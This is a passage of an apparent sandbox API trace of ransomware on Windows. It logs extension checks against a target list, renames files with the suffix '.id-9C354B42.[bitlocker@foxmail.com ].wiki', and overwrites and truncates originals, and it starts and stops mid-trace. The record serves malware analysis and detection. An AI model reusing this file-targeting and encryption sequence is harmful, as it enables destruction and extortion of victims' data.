-1 [0184.707] lstrlenW (lpString=".ppt") returned 4 [0184.707] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0184.708] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png") returned 91 [0184.708] lstrlenW (lpString=".zip") returned 4 [0184.708] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0184.708] lstrlenW (lpString=".rar") returned 4 [0184.708] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0184.708] lstrlenW (lpString=".bz2") returned 4 [0184.708] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0184.708] lstrlenW (lpString=".7z") returned 3 [0184.708] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0184.708] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png") returned 91 [0184.708] lstrlenW (lpString=".dbf") returned 4 [0184.708] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0184.708] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png") returned 91 [0184.708] lstrlenW (lpString=".1cd") returned 4 [0184.708] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0184.708] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png") returned 91 [0184.708] lstrlenW (lpString=".jpg") returned 4 [0184.708] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0184.708] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png") returned 91 [0184.708] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png") returned 91 [0184.708] lstrlenW (lpString=".doc") returned 4 [0184.708] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0184.708] lstrlenW (lpString=".docx") returned 5 [0184.708] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0184.708] lstrlenW (lpString=".pdf") returned 4 [0184.708] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0184.708] lstrlenW (lpString=".xls") returned 4 [0184.708] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0184.708] lstrlenW (lpString=".xlsx") returned 5 [0184.708] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0184.708] lstrlenW (lpString=".ppt") returned 4 [0184.708] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0184.709] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png") returned 91 [0184.709] lstrlenW (lpString=".zip") returned 4 [0184.709] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0184.709] lstrlenW (lpString=".rar") returned 4 [0184.709] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0184.709] lstrlenW (lpString=".bz2") returned 4 [0184.709] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0184.709] lstrlenW (lpString=".7z") returned 3 [0184.709] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0184.709] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png") returned 91 [0184.709] lstrlenW (lpString=".dbf") returned 4 [0184.709] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0184.709] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png") returned 91 [0184.709] lstrlenW (lpString=".1cd") returned 4 [0184.709] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0184.709] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png") returned 91 [0184.709] lstrlenW (lpString=".jpg") returned 4 [0184.709] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0184.709] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0184.709] lstrlenW (lpString="reflect.png") returned 11 [0184.709] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0184.710] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=24852) returned 1 [0184.710] CloseHandle (hObject=0x1e4) returned 1 [0184.710] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png")) returned 0x20 [0184.710] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0184.710] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0184.710] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png") returned 66 [0184.710] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png") returned 66 [0184.710] lstrlenW (lpString=".doc") returned 4 [0184.710] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0184.710] lstrlenW (lpString=".docx") returned 5 [0184.710] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0184.710] lstrlenW (lpString=".pdf") returned 4 [0184.710] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0184.710] lstrlenW (lpString=".xls") returned 4 [0184.710] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0184.710] lstrlenW (lpString=".xlsx") returned 5 [0184.710] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0184.710] lstrlenW (lpString=".ppt") returned 4 [0184.710] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0184.710] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png") returned 66 [0184.710] lstrlenW (lpString=".zip") returned 4 [0184.710] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0184.711] lstrlenW (lpString=".rar") returned 4 [0184.711] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0184.711] lstrlenW (lpString=".bz2") returned 4 [0184.711] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0184.711] lstrlenW (lpString=".7z") returned 3 [0184.711] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0184.711] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png") returned 66 [0184.711] lstrlenW (lpString=".dbf") returned 4 [0184.711] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0184.711] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png") returned 66 [0184.711] lstrlenW (lpString=".1cd") returned 4 [0184.711] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0184.711] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png") returned 66 [0184.711] lstrlenW (lpString=".jpg") returned 4 [0184.711] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0184.711] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png") returned 66 [0184.711] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png") returned 66 [0184.711] lstrlenW (lpString=".doc") returned 4 [0184.711] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0184.711] lstrlenW (lpString=".docx") returned 5 [0184.711] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0184.711] lstrlenW (lpString=".pdf") returned 4 [0184.711] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0184.711] lstrlenW (lpString=".xls") returned 4 [0184.711] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0184.711] lstrlenW (lpString=".xlsx") returned 5 [0184.711] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0184.711] lstrlenW (lpString=".ppt") returned 4 [0184.711] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0184.711] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png") returned 66 [0184.711] lstrlenW (lpString=".zip") returned 4 [0184.711] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0184.712] lstrlenW (lpString=".rar") returned 4 [0184.712] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0184.712] lstrlenW (lpString=".bz2") returned 4 [0184.712] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0184.712] lstrlenW (lpString=".7z") returned 3 [0184.712] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0184.712] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png") returned 66 [0184.712] lstrlenW (lpString=".dbf") returned 4 [0184.712] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0184.712] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png") returned 66 [0184.712] lstrlenW (lpString=".1cd") returned 4 [0184.712] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0184.712] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png") returned 66 [0184.712] lstrlenW (lpString=".jpg") returned 4 [0184.712] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0184.712] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0184.712] lstrlenW (lpString="vistabg.png") returned 11 [0184.712] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0184.713] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=195804) returned 1 [0184.713] CloseHandle (hObject=0x1e4) returned 1 [0184.713] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png")) returned 0x20 [0184.713] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0184.713] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0184.713] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png") returned 66 [0184.713] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png") returned 66 [0184.713] lstrlenW (lpString=".doc") returned 4 [0184.713] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0184.713] lstrlenW (lpString=".docx") returned 5 [0184.713] lstrcmpiW (lpString1=".docx", lpString2="g.png") returned -1 [0184.713] lstrlenW (lpString=".pdf") returned 4 [0184.713] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0184.713] lstrlenW (lpString=".xls") returned 4 [0184.713] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0184.714] lstrlenW (lpString=".xlsx") returned 5 [0184.714] lstrcmpiW (lpString1=".xlsx", lpString2="g.png") returned -1 [0184.714] lstrlenW (lpString=".ppt") returned 4 [0184.714] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0184.714] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png") returned 66 [0184.714] lstrlenW (lpString=".zip") returned 4 [0184.714] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0184.714] lstrlenW (lpString=".rar") returned 4 [0184.714] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0184.714] lstrlenW (lpString=".bz2") returned 4 [0184.714] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0184.714] lstrlenW (lpString=".7z") returned 3 [0184.714] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0184.714] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png") returned 66 [0184.714] lstrlenW (lpString=".dbf") returned 4 [0184.714] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0184.714] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png") returned 66 [0184.714] lstrlenW (lpString=".1cd") returned 4 [0184.714] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0184.714] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png") returned 66 [0184.714] lstrlenW (lpString=".jpg") returned 4 [0184.714] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0184.714] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png") returned 66 [0184.714] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png") returned 66 [0184.714] lstrlenW (lpString=".doc") returned 4 [0184.714] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0184.714] lstrlenW (lpString=".docx") returned 5 [0184.714] lstrcmpiW (lpString1=".docx", lpString2="g.png") returned -1 [0184.714] lstrlenW (lpString=".pdf") returned 4 [0184.714] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0184.714] lstrlenW (lpString=".xls") returned 4 [0184.714] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0184.714] lstrlenW (lpString=".xlsx") returned 5 [0184.714] lstrcmpiW (lpString1=".xlsx", lpString2="g.png") returned -1 [0184.715] lstrlenW (lpString=".ppt") returned 4 [0184.715] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0184.715] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png") returned 66 [0184.715] lstrlenW (lpString=".zip") returned 4 [0184.715] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0184.715] lstrlenW (lpString=".rar") returned 4 [0184.715] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0184.715] lstrlenW (lpString=".bz2") returned 4 [0184.715] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0184.715] lstrlenW (lpString=".7z") returned 3 [0184.715] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0184.715] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png") returned 66 [0184.715] lstrlenW (lpString=".dbf") returned 4 [0184.715] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0184.715] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png") returned 66 [0184.715] lstrlenW (lpString=".1cd") returned 4 [0184.715] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0184.715] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png") returned 66 [0184.715] lstrlenW (lpString=".jpg") returned 4 [0184.715] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0184.715] lstrcmpiW (lpString1=".bmp", lpString2=".wiki") returned -1 [0184.715] lstrlenW (lpString="rectangle_babypink_Thumbnail.bmp") returned 32 [0184.715] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0184.716] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=5072) returned 1 [0184.716] CloseHandle (hObject=0x1e4) returned 1 [0184.716] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp")) returned 0x20 [0184.716] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0184.716] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0184.716] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp") returned 76 [0184.716] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp") returned 76 [0184.716] lstrlenW (lpString=".doc") returned 4 [0184.716] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0184.716] lstrlenW (lpString=".docx") returned 5 [0184.716] lstrcmpiW (lpString1=".docx", lpString2="l.bmp") returned -1 [0184.716] lstrlenW (lpString=".pdf") returned 4 [0184.716] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0184.716] lstrlenW (lpString=".xls") returned 4 [0184.716] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0184.716] lstrlenW (lpString=".xlsx") returned 5 [0184.716] lstrcmpiW (lpString1=".xlsx", lpString2="l.bmp") returned -1 [0184.717] lstrlenW (lpString=".ppt") returned 4 [0184.717] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0184.717] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp") returned 76 [0184.717] lstrlenW (lpString=".zip") returned 4 [0184.717] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0184.717] lstrlenW (lpString=".rar") returned 4 [0184.717] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0184.717] lstrlenW (lpString=".bz2") returned 4 [0184.717] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0184.717] lstrlenW (lpString=".7z") returned 3 [0184.717] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0184.717] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp") returned 76 [0184.754] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0184.754] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0184.755] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0184.755] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0184.756] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0184.756] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0184.756] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0184.757] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0184.757] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0184.757] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0185.432] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.433] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0185.433] GetLastError () returned 0x0 [0185.433] ReadFile (in: hFile=0x1c8, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x332e, lpOverlapped=0x0) returned 1 [0185.602] WriteFile (in: hFile=0x1ec, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x3330, lpOverlapped=0x0) returned 1 [0185.603] ReadFile (in: hFile=0x1c8, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0185.604] WriteFile (in: hFile=0x1ec, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0185.604] SetEndOfFile (hFile=0x1ec) returned 1 [0185.604] CloseHandle (hObject=0x1ec) returned 1 [0185.604] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.604] SetEndOfFile (hFile=0x1c8) returned 1 